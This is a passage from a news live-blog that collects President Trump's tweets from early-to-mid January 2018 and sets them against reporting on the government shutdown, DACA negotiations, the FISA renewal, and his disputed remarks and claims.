matter what the length. The good news is, THERE IS MUCH MORE TO COME!  Donald J. Trump (@realDonaldTrump) January 21, 2018 In addition to the roll call of major American cities where womens marches took place  including New York, Washington, Los Angeles, Dallas, Philadelphia, Chicago, San Francisco, Atlanta  protesters also raised their voices in suburbs and small towns, reflecting the aim of coalescing a broad-based movement on the anniversary of Trumps inauguration to oppose the presidents stance on immigration, healthcare, racial divides and an array of other issues. Read More This post contains reporting from Times staff writer Laura King. Facebook

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Trump calls shutdown a present from Democrats By Associated Press President Trump is blaming Democrats for the government shutdown  tweeting that they wanted to give him a nice present to mark the one-year anniversary of his inauguration: This is the One Year Anniversary of my Presidency and the Democrats wanted to give me a nice present. #DemocratShutdown  Donald J. Trump (@realDonaldTrump) January 20, 2018 That comes after Senate Democrats late Friday killed a GOP-written House-passed measure that would have kept agencies functioning for four weeks. Democrats were seeking a stopgap bill of just a few days in hopes that would build pressure on Republicans, and they were opposing a three-week alternative offered by GOP leaders. Democrats have insisted they would back legislation reopening the government once theres a bipartisan agreement to preserve protections against deporting about 700,000 immigrants  known as Dreamers  who arrived in the United States illegally as children. Trump on Saturday accused Democrats of holding our Military hostage over their desire to have unchecked illegal immigration: Democrats are holding our Military hostage over their desire to have unchecked illegal immigration. Cant let that happen!  Donald J. Trump (@realDonaldTrump) January 20, 2018 Democrats are laying fault for the shutdown on Republicans, who control both chambers of Congress and the White House and have struggled with building internal consensus. In a series of tweets hours after the shutdown began, the president tried to make the case for Americans to elect more Republicans to Congress in November in order to power through this mess: Democrats are far more concerned with Illegal Immigrants than they are with our great Military or Safety at our dangerous Southern Border. They could have easily made a deal but decided to play Shutdown politics instead. #WeNeedMoreRepublicansIn18 in order to power through mess!  Donald J. Trump (@realDonaldTrump) January 20, 2018 He noted that there are 51 Republicans in the 100-member Senate, and it often takes 60 votes to advance legislation: For those asking, the Republicans only have 51 votes in the Senate, and they need 60. That is why we need to win more Republicans in 2018 Election! We can then be even tougher on Crime (and Border), and even better to our Military & Veterans!  Donald J. Trump (@realDonaldTrump) January 20, 2018 #AMERICA FIRST!  Donald J. Trump (@realDonaldTrump) January 20, 2018 The stopgap spending measure won 50 votes in the Senate, including five from Democrats. Although the House and Senate were in session Saturday, it was unclear whether lawmakers would take any votes of consequence. Trump had been set to leave Friday afternoon for a fundraiser at his estate in Palm Beach, Fla., where he intended to mark the inauguration anniversary. But he remained in Washington and ended up scrapping his plans to attend the Saturday fundraiser. Read More Facebook

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Trump tweet casts doubt on likelihood of averting shutdown President Trump appeared to cast doubt on the likelihood of reaching a deal to avert a government shutdown Friday night in a tweet. Trump also sought to blame Democrats for what would be the first shutdown since 2013. His message came just hours before the midnight deadline by which lawmakers must pass a measure to fund government agencies, or some operations will cease. Not looking good for our great Military or Safety & Security on the very dangerous Southern Border. Dems want a Shutdown in order to help diminish the great success of the Tax Cuts, and what they are doing for our booming economy.  Donald J. Trump (@realDonaldTrump) January 20, 2018 Despite last-minute negotiations Friday between Trump and Senate Minority Leader Charles E. Schumer, Congress remained deadlocked over a spending bill and the federal government was headed toward a shutdown at midnight. Senate Democrats  joined by some GOP deficit hawks and immigration allies  were set to filibuster a stopgap funding bill approved by the House on Thursday. A Senate vote was planned for 10 p.m. Eastern, and even White House officials predicted it would fail. Read More This post contains reporting from Times staff writer Lisa Mascaro. Facebook

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Trump signs surveillance law after confusing tweets By Associated Press President Trump on Friday signed a bill into law to renew a foreign intelligence surveillance program, announcing his action in the latest in a series of confusing tweets about the spy program: Just signed 702 Bill to reauthorize foreign intelligence collection. This is NOT the same FISA law that was so wrongly abused during the election. I will always do the right thing for our country and put the safety of the American people first!  Donald J. Trump (@realDonaldTrump) January 19, 2018 Trumps tweet on Jan. 11 created chaos in the House just before it voted to reauthorize what is known as Section 702 of the Foreign Intelligence Surveillance Act. He linked the intelligence program to a dossier that alleges his presidential campaign had ties to Russia. That caused people to wonder if he didnt support the program that allows U.S. spy agencies to collect intelligence on foreign targets abroad. Trump and other Republicans have alleged that Obama administration officials improperly shared the identities of Trump presidential transition team members mentioned in intelligence reports. Democrats say there is no evidence that happened. Shortly before the House vote, and after conferring with House Speaker Paul Ryan, Trump did an apparent about-face. This vote is about foreign surveillance of foreign bad guys on foreign land, he tweeted. We need it! Get smart! In his tweet announcing that he had just signed the bill, Trump wrote: This is NOT the same FISA law that was so wrongly abused during the election. I will always do the right thing for our country and put the safety of the American people first! There are no obvious links between the dossier Trump spoke of, which includes salacious but unsubstantiated allegations against him, and the reauthorization of the spying program, or between the program and Trumps oft-repeated claims that the Obama administration conducted surveillance on Trump Tower during the presidential campaign. Facebook

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In tweet, Trump suggests that Pennsylvania trip is a political one The White House press office was once again forced to walk back a tweet from President Trump on Thursday morning after he described a trip to Pennsylvania later in the day as a political one  a statement that would force the Republican Party, not taxpayers, to pay for the journey. The White House had said Trump was going to an industrial equipment company outside of Pittsburgh to highlight the good economy and new tax cuts, making it an official, policy-oriented event. It was widely assumed that the trip had a political cast  the area is holding a special election to fill a congressional seat vacated by a Republican who resigned. Trump, by his tweet, seemed to confirm that politics was the whole purpose: Will be going to Pennsylvania today in order to give my total support to RICK SACCONE, running for Congress in a Special Election (March 13). Rick is a great guy. We need more Republicans to continue our already successful agenda!  Donald J. Trump (@realDonaldTrump) January 18, 2018 Trump later shared via Twitter a pair of video clips of his speech at H&K Equipment, in which he touted the tax cuts he signed into law just before Christmas and tried to turn the conversation back to his accomplishments after weeks dominated by distractions, including questions about his mental health and comments about immigration that some considered racist: Departing Pittsburgh now, where it was my great honor to stand with our incredible workers, and to show the world that AMERICA is back - and we are coming back bigger and better and stronger than ever before! pic.twitter.com/kWPgylqFzj  Donald J. Trump (@realDonaldTrump) January 18, 2018 AMERICA will once again be a NATION that thinks big, dreams bigger, and always reaches for the stars. YOU are the ones who will shape Americas destiny. YOU are the ones who will restore our prosperity. And YOU are the ones who are MAKING AMERICA GREAT AGAIN! #MAGA pic.twitter.com/f2abNK47II  Donald J. Trump (@realDonaldTrump) January 18, 2018 The Republican National Committee, rather than the White House, is supposed to pay for political travel so that taxpayers are not financing party activities; for trips that combine policy and politics, parties have split the cost under past presidents. Neither the RNC nor the White House responded to emails sent Thursday asking who would pay. White House Press Secretary Sarah Huckabee Sanders released a statement later Thursday suggesting that taxpayers would foot the bill. She insisted that Trump would be conducting government business while in Pennsylvania. Read More This post contains reporting from the Associated Press and Times staff writer Noah Bierman. Facebook

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Trump tweets praise of Bob Dole after awarding him Congressional Gold Medal By Associated Press Former Senate Majority Leader Bob Dole knew the art of the deal before President Trump published the 1987 book of the same name. The two shared a stage under the Capitol dome Wednesday as Dole, 94, accepted Congress highest civilian honor, the Congressional Gold Medal, for his World War II service and decades of work in the House and Senate. Trump later praised Dole in a tweet, attaching to his message a video composed of clips from the ceremony: Today, we witnessed an incredible moment in history  the presentation of Congress highest civilian honor to our friend, and true AMERICAN HERO, Bob Dole. #CongressionalGoldMedal pic.twitter.com/qNQqDLRmCk  Donald J. Trump (@realDonaldTrump) January 17, 2018 At the ceremony, the president saluted Dole as a patriot and gave tribute to Doles struggle as a veteran who worked his way back from a grievous shoulder wound he suffered in Italy. He knows about grit, said Trump. But it was Doles penchant for working across the aisle that earned him his latest award, according to the legislation. Bob Dole was known for his ability to work across the aisle and embrace practical bipartisanship, reads the legislation Trump signed in September. Some of the awards 300 recipients include George Washington and Mother Teresa, according to the Congressional Research Service. Read More Facebook

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Trump touts report that seeks to link terrorism cases with immigration By Joseph Tanfani The Trump administration on Tuesday released a report attempting to link terrorism with migration, arguing that it was evidence of the need to dramatically reshape the nations immigration system. New report from DOJ & DHS shows that nearly 3 in 4 individuals convicted of terrorism-related charges are foreign-born. We have submitted to Congress a list of resources and reforms....  Donald J. Trump (@realDonaldTrump) January 16, 2018 ....we need to keep America safe, including moving away from a random chain migration and lottery system, to one that is merit-based. https://t.co/7PtoSFK1n2  Donald J. Trump (@realDonaldTrump) January 16, 2018 The report, ordered by President Trump in an executive order last year, said that 75% of the 549 people convicted of terrorism charges since 9/11 were born outside the U.S. Administration officials called that a sign that the U.S. needs to scrap its policy of family preferences for visas, which they call chain migration, and a diversity visa lottery program. But the report did not specify how many  if any  of the convicted terrorists entered the country through those means. It also did not detail how many of the convictions were related to attacks or plans in the U.S. versus overseas and how many involved people who went to fight overseas for the Islamic State or another terrorist group. Those details were not available, officials said. The report, due last year, is being released in a highly charged moment in the immigration debate, as Trump and some Republicans in Congress seek tough new border and immigration measures in return for a deal protecting the 690,000 people in the Deferred Action for Childhood Arrivals program. Trump also fired off a pair of tweets on the topic earlier Tuesday: We must have Security at our VERY DANGEROUS SOUTHERN BORDER, and we must have a great WALL to help protect us, and to help stop the massive inflow of drugs pouring into our country!  Donald J. Trump (@realDonaldTrump) January 16, 2018 The Democrats want to shut down the Government over Amnesty for all and Border Security. The biggest loser will be our rapidly rebuilding Military, at a time we need it more than ever. We need a merit based system of immigration, and we need it now! No more dangerous Lottery.  Donald J. Trump (@realDonaldTrump) January 16, 2018 The focus of our immigration system should be assimilation, a senior administration official said on Tuesday, speaking on condition that his name not be used. He said the nation should give priority to potential immigrants who speak English, who have an education and those who are committed to supporting our values  not family members of people already here. The official said the timing of the report was coincidental. Read More Facebook

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Trump tweets welcome to president of Kazakhstan By Associated Press President Trump said Tuesday that he and the president of Kazakhstan are united in a shared determination to prevent North Korea from threatening the world with nuclear devastation. Trump and President Nursultan Nazarbayev discussed North Korea along with other issues during meetings at the White House. Today, it was my honor to welcome President Nursultan Nazarbayev of Kazakhstan to the @WhiteHouse! pic.twitter.com/TerYFZViax  Donald J. Trump (@realDonaldTrump) January 16, 2018 Trump said Kazakhstan, once part of the Soviet Union, is a valued partner in our efforts to rid the Korean peninsula of nuclear weapons. Together we are determined to prevent the North Korean regime from threatening the world with nuclear devastation, he said, as both presidents addressed journalists between meetings. Nazarbayev noted that his country once had one of the worlds largest nuclear arsenals but voluntarily gave it up after the Soviet Union collapsed. He said his country is in talks with Iran, which was the focus of a global deal that lifted some economic sanctions in exchange for Irans curbing its nuclear program. Trump has sharply criticized the Iran nuclear deal and threatened last week to pull out soon unless other countries fix what he says are terrible flaws. Read More Facebook

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Trump falsely claims his approval rating among black Americans has doubled By Alex Wigglesworth President Trump lashed out at the news media Tuesday morning in a tweet denouncing the special counsel investigation into Russian meddling in the 2016 election and possible collusion among members of his campaign team. Do you notice the Fake News Mainstream Media never likes covering the great and record setting economic news, but rather talks about anything negative or that can be turned into the negative. The Russian Collusion Hoax is dead, except as it pertains to the Dems. Public gets it!  Donald J. Trump (@realDonaldTrump) January 16, 2018 It wasnt immediately clear exactly what prompted the presidents tweet, but it appeared as though he was watching Fox & Friends. A short time later, Trump tweeted a headline from a report that aired during that mornings episode: 90% of Trump 2017 news coverage was negative -and much of it contrived!@foxandfriends  Donald J. Trump (@realDonaldTrump) January 16, 2018 The segment focused on the latest survey results from conservative watchdog Media Research Center, which purportedly analyzed the evening news broadcasts on ABC, CBS and NBC from Jan. 20 to Dec. 31 and found that 90% of the statements made about Trump were negative. Study: 90% of Trump media coverage in 2017 was negative pic.twitter.com/vbrwup4Drg  FOX & friends (@foxandfriends) January 16, 2018 But believe it or not, through all this negative coverage, they did a survey of 600,000 people about how black America views this president, co-host Brian Kilmeade said. His numbers have actually doubled in approval. Trump highlighted the statement in another tweet: Unemployment for Black Americans is the lowest ever recorded. Trump approval ratings with Black Americans has doubled. Thank you, and it will get even (much) better! @FoxNews  Donald J. Trump (@realDonaldTrump) January 16, 2018 But its not true. The claim appears to have originated from a misreading of data from the online polling firm SurveyMonkey, according to factcheck.org. The firm polled 600,000 Americans in 2017 and found that Trumps approval rating among blacks actually dropped from 23% early in his presidency to about 17%, as of the week ending Jan. 3. Some conservative outlets, including Breitbart, produced an average from those and other SurveyMonkey figures and compared them to the scores Trump received from black voters in the 2016 exit polls. That methodology is not sound. And since the statistics measure different things, the comparison is misleading. Facebook

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Trump goes after senator who surfaced his immigration remark By Associated Press President Trump turned his Twitter torment Monday on the Democrat in the room where immigration talks with lawmakers took a famously coarse turn, saying Sen. Richard J. Durbin misrepresented what he had said about African nations and Haiti and, in the process, undermined the trust needed to make a deal. Senator Dicky Durbin totally misrepresented what was said at the DACA meeting, Trump tweeted, using a nickname to needle the Illinois senator. Deals cant get made when there is no trust! Durbin blew DACA and is hurting our Military. Senator Dicky Durbin totally misrepresented what was said at the DACA meeting. Deals cant get made when there is no trust! Durbin blew DACA and is hurting our Military.  Donald J. Trump (@realDonaldTrump) January 15, 2018 Trump was referring to the Deferred Action for Childhood Arrivals program, which protects young people who came to the United States illegally as children. Members of Congress from both parties are trying to strike a deal that Trump would support to extend that protection. Trump also cast doubt on the likelihood of reaching an agreement in tweets sent earlier Monday: Statement by me last night in Florida: Honestly, I dont think the Democrats want to make a deal. They talk about DACA, but they dont want to help..We are ready, willing and able to make a deal but they dont want to. They dont want security at the border, they dont want.....  Donald J. Trump (@realDonaldTrump) January 15, 2018 ...to stop drugs, they want to take money away from our military which we cannot do. My standard is very simple, AMERICA FIRST & MAKE AMERICA GREAT AGAIN!  Donald J. Trump (@realDonaldTrump) January 15, 2018 On a day of remembrance for the Rev. Martin Luther King Jr., Trump spent time at his golf course with no public events, bypassing the acts of service that his predecessors staged in honor of the civil rights leader. Instead, Trump dedicated his weekly address to Kings memory, saying Kings dream and Americas are the same: A world where people are judged by who they are, not how they look or where they come from. That message was a distinct counterpoint to words attributed to Trump by Durbin and others at a meeting last week, when the question of where immigrants come from seemed at the forefront of Trumps concerns. Some participants and others familiar with the conversation said Trump challenged immigration from shithole countries of Africa and disparaged Haiti as well. Without explicitly denying using that word, Trump lashed out at the Democratic senator, who said Trump uttered it on several occasions. Read More Facebook

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Trump thanks pundit for laudatory Fox & Friends spot By Alex Wigglesworth President Trump thanked Fox News personality Stuart Varney after Varney praised Trump during an appearance on Fox & Friends. In a pair of tweets early Sunday, Trump quoted from Varneys commentary, in which he argued that Trump deserves more credit for the booming economy. The pundit, who also hosts a show on Fox Business Network, cited moves by some corporations to raise workers minimum wage or pay out one-time bonuses in response to the GOP tax cuts. President Trump is not getting the credit he deserves for the economy. Tax Cut bonuses to more than 2,000,000 workers. Most explosive Stock Market rally that weve seen in modern times. 18,000 to 26,000 from Election, and grounded in profitability and growth. All Trump, not 0...  Donald J. Trump (@realDonaldTrump) January 14, 2018 ...big unnecessary regulation cuts made it all possible (among many other things). President Trump reversed the policies of President Obama, and reversed our economic decline. Thank you Stuart Varney. @foxandfriends  Donald J. Trump (@realDonaldTrump) January 14, 2018 Varney was reacting to a quote from House Minority Leader Nancy Pelosi (D-San Francisco), who on Thursday called the bonuses handed down to workers pathetic in comparison to the gains corporations are expected to see from the tax cuts. In terms of the bonus that corporate America received versus the crumbs that they are giving to workers to kind of put the schmooze on is so pathetic, Pelosi told reporters. Its pathetic. Varney shot back Sunday that the bonuses, along with explosive stock market growth, are enriching all Americans. This is a huge shot in the arm, its the result of this tax cut deal and I think President Trump should get the credit for it, he said. .@Varneyco Sets the economic record straight after Nancy Pelosi calls U.S. mass bonuses crumbs pic.twitter.com/BvjIHGm3HE  FOX & friends (@foxandfriends) January 14, 2018 The sweeping tax plan passed last month lowers the corporate tax rate from 35% to 21% and cuts personal income taxes. Analysts say the benefits will largely flow to corporations and the wealthy, as theyre more likely to be in positions to share in corporate profits. For instance, Wells Fargo & Co., which responded to news of the tax overhaul by announcing it will raise workers pay to at least $15 an hour, also reported that it expects to pay an effective tax rate of 19% this year, down from about 31% in previous years. That should amount to tax savings of more than $3 billion annually. On average, middle-class Americans are expected to see a very small tax cut in the near term and a tax increase after 2025, when all of the tax cuts for individuals expire. The tax cuts for corporations, however, are permanent.  This post contains reporting from Times staff writer James Rufus Koren. Facebook

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Trump touts MLK proclamation in tweet, but ceremony is overshadowed by reports of racist remarks By Associated Press President Trump signed a proclamation Friday for Martin Luther King Jr. Day, noting the contributions of a great American hero. Today, it was my great honor to proclaim January 15, 2018, as Martin Luther King Jr., Federal Holiday. I encourage all Americans to observe this day with appropriate civic, community, and service activities in honor of Dr. King's life and legacy. pic.twitter.com/samlJsz1Nt  Donald J. Trump (@realDonaldTrump) January 12, 2018 Overshadowing the event was mounting backlash from Trumps comments during a private meeting with lawmakers the day before. A short time after the meeting, which was called to discuss a possible immigration deal, reports emerged that Trump had asked participants why the United States should accept immigrants from shithole countries in Africa, Central America and the Caribbean. Illinois Sen. Richard Durbin, the Senates second-ranking Democrat, appeared to confirm those reports on Friday. Trump did not respond Friday to several questions about the incident, including whether he actually used vulgar language to describe African nations, or if he is racist. The president said at the White House that love was central to the slain civil rights leader. Trump said the nation celebrates King for standing up for the self-evident truth Americans hold so dear, that no matter what the color of our skin or place of our birth, we are all created equal by God.  This post contains reporting from Times staff writer Noah Bierman. Facebook

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Trump criticizes Democrats in tweet calling for stricter immigration rules President Trump hit out at Democrats on Thursday night in a tweet calling for stricter immigration rules. Trump wrote that members of the party seem intent on having people and drugs pour into our country from the border with Mexico: The Democrats seem intent on having people and drugs pour into our country from the Southern Border, risking thousands of lives in the process. It is my duty to protect the lives and safety of all Americans. We must build a Great Wall, think Merit and end Lottery & Chain. USA!  Donald J. Trump (@realDonaldTrump) January 12, 2018 It wasnt immediately clear exactly what prompted the tweet. Earlier Thursday, Trump rejected a bipartisan compromise to resolve the standoff over so-called Dreamers, young immigrants who were brought to the United States illegally as children but have temporary permits to work, attend school or serve in the military. The president drew widespread condemnation after reports emerged that he had asked participants in an Oval Office meeting about the proposal why the United States should accept immigrants from shithole countries in Africa, Central America and the Caribbean. Read More Facebook

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Trump touts bill aimed at improving border screening for fentanyl By Associated Press President Trump signed legislation Wednesday aimed at giving Customs and Border Protection agents additional screening devices and other tools to stop the flow of illicit drugs. Speaking at a surprise bill-signing ceremony while flanked by members of Congress from both parties in the Oval Office, Trump described the bill as a significant step forward in the fight against powerful opioids such as fentanyl, which he called our new big scourge. He echoed that language Thursday in a tweet: Yesterday, I signed the #INTERDICTAct (H.R. 2142) with bipartisan members of Congress to help end the flow of drugs into our country. Together, we are committed to doing everything we can to combat the deadly scourge of drug addiction and overdose in the United States! pic.twitter.com/ELZvFol5Lo  Donald J. Trump (@realDonaldTrump) January 11, 2018 The legislation will pay for new portable and fixed chemical screening devices to detect and intercept fentanyl at ports of entry and in the mail, along with other laboratory equipment and personnel, including scientists. Trump has made fighting the opioid epidemic a centerpiece of his administration, though critics say he hasnt dedicated nearly enough money or resources to make a difference. Trump suggested during his remarks on Wednesday that hed like to take a more aggressive approach to the drug crisis  but the countrys not ready for what he has in mind. So were going to sign this. And its a step. And it feels like a very giant step, but unfortunately, its not going to be a giant step, because no matter what you do, this is something that keeps pouring in, he said. And were going to find the answer. There is an answer. I think I actually know the answer, but Im not sure the countrys ready for it yet, he added. Does anybody know what I mean? I think so. Facebook

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Trump applauds news that Toyota-Mazda plant is slated for Alabama By Associated Press Japanese automakers Toyota and Mazda on Wednesday announced plans to build a mammoth, $1.6-billion joint-venture plant in Alabama that will eventually employ about 4,000 people. President Trump lauded the news in a tweet: Cutting taxes and simplifying regulations makes America the place to invest! Great news as Toyota and Mazda announce they are bringing 4,000 JOBS and investing $1.6 BILLION in Alabama, helping to further grow our economy! pic.twitter.com/Kcg8IVH6iA  Donald J. Trump (@realDonaldTrump) January 10, 2018 Good news: Toyota and Mazda announce giant new Huntsville, Alabama, plant which will produce over 300,000 cars and SUVs a year and employ 4000 people. Companies are coming back to the U.S. in a very big way. Congratulations Alabama!  Donald J. Trump (@realDonaldTrump) January 11, 2018 Several states had competed for the project, which will be able to turn out 300,000 vehicles per year and produce the Toyota Corolla compact car for North America and a new small SUV from Mazda. Alabama Gov. Kay Ivey and company executives held a news conference to announce that the facility is coming to the Huntsville area not far from the Tennessee line. Production is expected to begin by 2021. The decision to pick Alabama is another example of foreign-based automakers building U.S. factories in the South. To entice manufacturers, Southern states have used a combination of lucrative incentive packages, low-cost labor and a pro-business labor environment, because the United Auto Workers union is stronger in Northern states. Read More Facebook

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Trump highlights call for border wall in tweets on visit with Norways prime minister By Associated Press President Trump praised Norways prime minister in a tweet on Wednesday after Erna Solberg became the first foreign leader to visit with the president in 2018. Today, it was my great honor to welcome Prime Minister Erna Solberg of Norway to the @WhiteHouse - a great friend and ally of the United States! Joint press conference: https://t.co/qWR1BhfQZI pic.twitter.com/PJvwznjRCO  Donald J. Trump (@realDonaldTrump) January 10, 2018 Trump also shared via Twitter a video clip of a joint news conference he held with Solberg on Wednesday afternoon. In the clip, Trump responds to a question from a reporter by saying there can be no bipartisan immigration deal absent funding for his long-promised wall along the U.S. border with Mexico. Republican and Democratic lawmakers have been seeking a solution for hundreds of thousands of so-called Dreamers, young people who were brought to the United States as children and are living here illegally. The United States needs the security of the Wall on the Southern Border, which must be part of any DACA approval. The safety and security of our country is #1! pic.twitter.com/4CFzQXb5aS  Donald J. Trump (@realDonaldTrump) January 10, 2018 We need the wall for security, we need the wall for safety, we need the wall for stopping the drugs from pouring in, Trump said Wednesday.  Any solution has to include the wall because without the wall, it all doesnt work. On Tuesday, Trump drew widespread attention when he said during a meeting with a bipartisan group of lawmakers that he would be agreeable to signing a stand-alone bill to protect the Dreamers, before moving on to a more comprehensive immigration bill. That contradicted the Republican consensus that Dreamers fate needed to be part of a broader immigration bill that would include some version of Trumps promised border wall and other immigration reforms. Trump backed away from a stand-alone Dreamer bill in subsequent tweets and public comments. Read More This post contains reporting from Los Angeles Times staff writer Noah Bierman. Facebook

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Trump praises Cabinet in tweet touting meeting By Associated Press President Trump promoted a meeting of his Cabinet on Wednesday, sharing via Twitter a link to a video of the session posted on the White House YouTube account. In his tweet, Trump thanked his Cabinet for working tirelessly on behalf of our country and wrote that the last year has been one of monumental achievement. I want to thank my @Cabinet for working tirelessly on behalf of our country. 2017 was a year of monumental achievement and we look forward to the year ahead. Together, we are delivering results and MAKING AMERICA GREAT AGAIN! https://t.co/ptXa1hAPwW pic.twitter.com/yv6RALkQf3  Donald J. Trump (@realDonaldTrump) January 10, 2018 The former reality television star continued to dispense accolades at the meeting Wednesday, greeting reporters in the Cabinet Room by saying: Welcome back to the studio. Then he proceeded to relive a Cabinet Room session from the prior day, when he had allowed reporters and TV cameras to stick around for much of his meeting with a bipartisan group of legislators on the thorny issue of immigration. It was a tremendous meeting. Actually, it was reported as incredibly good. And my performance  you know, some of them called it a performance  I consider it work, Trump said. Trump went on to say he had received letters from news anchors calling it one of the greatest meetings theyve ever witnessed. He added that the media will ultimately support Trump in the end, because theyre going to say, if Trump doesnt win in three years, theyre all out of business. Asked for examples of letters received from news anchors, the White House said it had received private communications. It also offered a series of positive on-air comments and tweets from journalists about the unusual access to the meeting. During his remarks, Trump swung from praising his own meeting coverage to telling journalists that they were dependent on his presidency for ratings to threatening a strong look at libel laws. Still, Trump thanked the journalists in front of him, joking: Youve gotten very familiar with this room. I appreciate your nice comments yesterday. Facebook

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Trump blasts DACA ruling in tweet calling courts broken and unfair By Lisa Mascaro President Trump denounced the federal courts Wednesday as broken and unfair after a district judge in San Francisco issued a nationwide injunction keeping protections in place for so-called Dreamers. Trump tweeted: It just shows everyone how broken and unfair our Court System is when the opposing side in a case (such as DACA) always runs to the 9th Circuit and almost always wins before being reversed by higher courts.  Donald J. Trump (@realDonaldTrump) January 10, 2018 On Tuesday night, U.S. District Judge William Alsup in San Francisco temporarily blocked the Trump administrations decision to phase out the Deferred Action for Childhood Arrivals program, known as DACA, which has protected from deportation some 700,000 people who came to the country illegally as children. Alsup granted a request by the state of California, the University of California and other plaintiffs to stop Trump from ending DACA on March 5. The administrations decision to end DACA, which was announced in September, was based on a flawed legal analysis, Alsup wrote in his decision. Dreamers would be irreparably harmed if their DACA protections, which allow them to live and work legally in the U.S., were stripped away before the courts had a chance to fully consider their claims, he ruled. The action is the mirror image of a ruling in 2015 by a federal judge in Texas who ruled in favor of that state when it sought to block President Obama from expanding DACA to include the parents of Dreamers. Trump administration officials praised that judicial ruling. By contrast, they sharply criticized Alsups decision. Read More Facebook

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Trump thanks lawmakers for productive immigration meeting, says deal must include border wall President Trump thanked a bipartisan group of lawmakers for participating in a meeting on immigration legislation on Tuesday. Much of the discussion involved so-called Dreamers, an estimated 700,000 young people who were brought to the country illegally as children and are now facing deportation. In a tweet, Trump wrote that there was strong agreement to negotiate a bill to protect Dreamers, as well as put into place some of the reforms favored by Republicans. Thanks to all of the Republican and Democratic lawmakers for todays very productive meeting on immigration reform. There was strong agreement to negotiate a bill that deals with border security, chain migration, lottery and DACA. https://t.co/SdqAQ3aL3z pic.twitter.com/8DYHZHspAy  Donald J. Trump (@realDonaldTrump) January 9, 2018 The most notable exchange of the meeting came when Sen. Dianne Feinstein, the San Francisco Democrat, asked Trump whether he would be agreeable to signing a stand-alone bill to protect the Dreamers, before moving on to a more comprehensive immigration bill. Yeah, I would like to do it, Trump responded. The statement drew widespread attention because it contradicted the Republican consensus that Dreamers fate needed to be part of a broader immigration bill that would include some version of Trumps promised border wall and other immigration reforms. Trump later backed away from a stand-alone Dreamer bill, tweeting that a wall along the U.S. border with Mexico must be part of any deal: As I made very clear today, our country needs the security of the Wall on the Southern Border, which must be part of any DACA approval.  Donald J. Trump (@realDonaldTrump) January 10, 2018 Pressure has been mounting for Congress to broker an immigration deal by Jan. 19 as part of a must-pass budget package to fund the government. This post contains reporting from Times staff writer Noah Bierman. Facebook

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Trump thanks officers and veterans in tweets President Trump doled out a slew of accolades Tuesday via Twitter. He thanked the nations law enforcement officers, including in his message a hashtag denoting a day of appreciation organized by a national support group for law enforcement families. On behalf of the American people, THANK YOU to our incredible law enforcement officers. As President of the United States - I will fight for you, and I will never, ever let you down. Now, more than ever, we must support the men and women in blue! #LawEnforcementAppreciationDay pic.twitter.com/Qb4uxB4JRm  Donald J. Trump (@realDonaldTrump) January 9, 2018 Trump later expressed gratitude for federal immigration agents, in particular: .@ICEgov HSI agents and ERO officers, on behalf of an entire Nation, THANK YOU for what you are doing 24/7/365 to keep fellow Americans SAFE. Everyone is so grateful!#LawEnforcementAppreciationDay

President @realDonaldTrump https://t.co/HXCpTlruVo  Donald J. Trump (@realDonaldTrump) January 10, 2018 The president thanked veterans as he cited his administrations efforts to curb the number of veteran suicides by improving mental health treatment for the high-risk group: Today, it was my great honor to sign a new Executive Order to ensure Veterans have the resources they need as they transition back to civilian life. We must ensure that our HEROES are given the care and support they so richly deserve! https://t.co/0MdP9DDIAS pic.twitter.com/LP2a8KCBAp  Donald J. Trump (@realDonaldTrump) January 9, 2018 Trumps tweet included photos of the president signing an executive order Tuesday directing the secretaries of Defense, Homeland Security and Veterans Affairs to develop a plan to provide seamless access to mental health and suicide prevention resources for 12 months for members leaving the armed forces. Also on Tuesday, Trump touted a law he signed the day before designating the birthplace of the Rev. Martin Luther King Jr. a national historic park: It was my great honor to sign H.R. 267, the Martin Luther King, Jr. National Historical Park Act, which redesignates the Martin Luther King, Junior, National Historic Site in the State of Georgia as the Martin Luther King, Jr. National Historical Park. https://t.co/Qe0b6HBFTY pic.twitter.com/QTgaqTawPT  Donald J. Trump (@realDonaldTrump) January 9, 2018 And he thanked House Majority Leader Kevin McCarthy (R-Bakersfield) for sharing a video compilation comprised of clips of politicians and commentators praising the GOPs tax cut bill: Thank you @GOPLeader Kevin McCarthy! Couldnt agree w/you more. TOGETHER, we are #MAGA https://t.co/QaxtqpyXTR  Donald J. Trump (@realDonaldTrump) January 10, 2018  This post contains reporting from the Associated Press and Times staff writer Alex Wigglesworth. Facebook

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Trump hails tax bill in tweets recapping speech to farmers By Associated Press Connecting with rural Americans, President Trump on Monday hailed his tax overhaul as a victory for family farmers. Farm country is Gods country, Trump told the annual convention of the American Farm Bureau Federation. Trump became the first president in a quarter-century to address the federations convention. His Southern swing also included a stop in Atlanta for the national college football championship game. Cant wait to be back in the amazing state of Tennessee to address the 99th American @FarmBureau Federations Annual Convention in Nashville! #AFBF18



On my way now - join me LIVE at 4:00pmE: https://t.co/QaljAqekdD. pic.twitter.com/Wm7Io0hYT8  Donald J. Trump (@realDonaldTrump) January 8, 2018 Joined by Agriculture Secretary Sonny Perdue, Senate Agriculture Committee Chairman Pat Roberts (R-Kan.) and a group of Tennessee lawmakers, Trump said most of the benefits of the tax legislation are going to working families, small businesses, and who  the family farmer. The package Trump signed into law last month provides generous tax cuts for corporations and the wealthiest Americans, and more modest reductions for middle- and low-income individuals and families. In every decision we make, we are honoring Americas PROUD FARMING LEGACY. Years of crushing taxes, crippling regs, & corrupt politics left our communities hurting, our economy stagnant, & millions of hardworking Americans COMPLETELY FORGOTTEN. But they are not forgotten ANYMORE! pic.twitter.com/MdYS7xnukQ  Donald J. Trump (@realDonaldTrump) January 8, 2018 The president vastly inflated the value of the package in his speech, citing a total of $5.5 trillion in tax cuts, with most of those benefits going to working families, small businesses and who? The family farmer. The estimated value of the tax cuts is actually $1.5 trillion for families and businesses because of cuts in deductions and the use of other steps to generate offsetting tax revenue. We have been working every day to DELIVER for Americas Farmers just as they work every day to deliver FOR US. #AFBF18 pic.twitter.com/QDH7fvFkZ7  Donald J. Trump (@realDonaldTrump) January 8, 2018 From Nashville, Trump traveled to Atlanta to watch Alabamas Crimson Tide and Georgias Bulldogs face off Monday night in the College Football Playoff National Championship. We are fighting for our farmers, for our country, and for our GREAT AMERICAN FLAG. We want our flag respected - and we want our NATIONAL ANTHEM respected also! pic.twitter.com/16eOLXg6Fi  Donald J. Trump (@realDonaldTrump) January 8, 2018 Before departing for the game, Trump referenced his ongoing defense of the American flag and the national anthem, saying there was enough space for people to express their views. We love our flag and we love our anthem, and we want to keep it that way, he said. Facebook

